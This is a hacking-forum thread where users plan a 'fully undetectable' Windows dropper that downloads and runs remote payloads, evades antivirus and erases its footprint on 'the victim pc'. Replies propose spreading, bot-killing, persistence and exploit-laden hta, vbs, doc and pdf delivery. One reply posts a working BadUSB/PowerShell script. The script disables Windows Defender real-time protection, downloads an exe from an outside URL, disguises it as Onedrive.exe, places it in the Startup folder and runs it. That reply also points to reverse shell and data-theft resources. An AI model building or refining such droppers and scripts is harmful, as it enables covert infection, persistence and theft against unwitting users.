

Forum:[Hack Forums](#)

Thread: [Don Remote Dropper Fud On Runtime](#)

Donrulezz - March 19, 2025, 1:16 am

Don Remote Dropper & Execute.

Features Might Have :Will be Coded in C Native No Dependencies What so ever.

Dropper Exe Output Below 15 Kb.

Bypass - Wd And most avs on runtime.

Multiple Direct Links - you can add as much links in the dropper you want to download and execute.

No Footprint - remote file be deleted from the victim pc right after download and execution.

if you anyone has any more suggestion let me know.

MadScientist - March 24, 2025, 9:52 am

Curious to follow this project, maybe a bot killer option or spreading options?

DeathPenalty666 - March 25, 2025, 10:03 pm

[quote="Donrulezz" pid='62705326' dateline='1742372177']

Don Remote Dropper & Execute.

Suggestion! maybe a OS Detection targeting option. To detect if a user is using windows, linux, android, ios etc to run a specific file for the OS it run. qr rocketapp using this function with their qr code, detecting OS and opening the appropriate one.

And a easy powershell script creator to run --Hidden+admin right powershell script to send AV's report to a mail/website/discord/telegram if detected, reload the file at startup if wanted.

Donrulezz - March 25, 2025, 10:27 pm

(Mar 25, 2025 10:03 PM)arlalala01 Wrote: [\[CITE\]](#) [quote="Donrulezz" pid='62705326' dateline='1742372177']

Don Remote Dropper & Execute.

Suggestion! maybe a OS Detection targeting option. To detect if a user is using windows, linux, android, ios etc to run a specific file for the OS it run. qr rocketapp using this function with their qr code, detecting OS and opening the appropriate one.

And a easy powershell script creator to run --Hidden+admin right powershell script to send AV's report to a mail/website/discord/telegram if detected, reload the file at startup if wanted.

thanks but as i mentioned exe means its for windows only.

also run as admin i can add but making it hidden or silent is not possible it will prompt show prompt for admin.

startup can also be added no issues .

send report to mail/website/discord/telegram if detected is not useful it will raise more red flags will try to keep it simple to make less suspicious.

(Mar 24, 2025 09:52 AM)MadScientist Wrote: [\[CITE\]](#) Curious to follow this project, maybe a bot killer option or spreading options?
yeah a bot killer along with protection of our bot.

i will add a option called protect a specfic registry or task scheduler & kill everything else.

thanks for the suggestion.

DeathPenalty666 - March 25, 2025, 10:46 pm

(Mar 25, 2025 10:27 PM)Donrulezz Wrote: [\[CITE\]](#) thanks but as i mentioned exe means its for windows only.

also run as admin i can add but making it hidden or silent is not possible it will prompt show prompt for admin.

startup can also be added no issues .

send report to mail/website/discord/telegram if detected is not useful it will raise more red flags will try to keep it simple to make less suspicious.

yeah a bot killer along with protection of our bot.

i will add a option called protect a specfic registry or task scheduler & kill everything else.

thanks for the suggestion.

a Badusb tricks i learned in the Flip crew xD

```
STRING powershell -WindowStyle Hidden
ENTER
DELAY 1000
REM Disable windows defender...
STRING Set-MpPreference -DisableRealtimeMonitoring $true
ENTER
DELAY 1000
REM File downloading
STRING Invoke-WebRequest -Uri "https://fwwwwwwwwwwwwwww/Don.exe" -OutFile
"$env:temp\don.exe"
ENTER
DELAY 2000
REM File name change
STRING Rename-Item "$env:temp\don.exe" "$env:temp\Onedrive.exe"
ENTER
DELAY 1000
REM Moving to auto-start
STRING Copy-Item "$env:temp\Onedrive.exe" "$env:APPDATA\Microsoft\Windows\Start
Menu\Programs\Startup\Onedrive.exe"
ENTER
DELAY 1000
REM Running program...
STRING Start-Process "$env:temp\Onedrive.exe"
ENTER
```

im not sure it was my final version, this one need some tweak like adding admin privilege, add wd exception and rechange it back to normal at the end.

this is badusb script but it work perfectly as batch, run hidden to start download and everything. for data extraction, text, audio video live there is a website called Kosmi.io that could be used. those method are mostly not detected. If you want a good github for data extraction and various extraction, payload, reverse shell i can try to find the repo

Al masry - April 12, 2025, 1:08 pm

good man good man good man

DeathPenalty666 - May 4, 2025, 12:00 pm

(Mar 19, 2025 01:16 AM)Donrulezz Wrote: [\[CITE\]](#) Don Remote Dropper & Execute.

Features Might Have :Will be Coded in C Native No Dependecies What so ever.

Dropper Exe Output Below 15 Kb.

Bypass - Wd And most avs on runtime.

Multiple Direct Links - you can add as much links in the dropper you want to download and execute.

No Footprint - remote file be deleted from the victim pc right after download and execution.

if you anyone has any more suggestion let me know.

adding some exploit for execution like hta vbs doc pdf etc to help to avoid detection?? Crypted or not but ideally exploit+crypting help to set up easily and avoid WD and some av,

Refraqqqq - May 5, 2025, 8:24 am

let me see this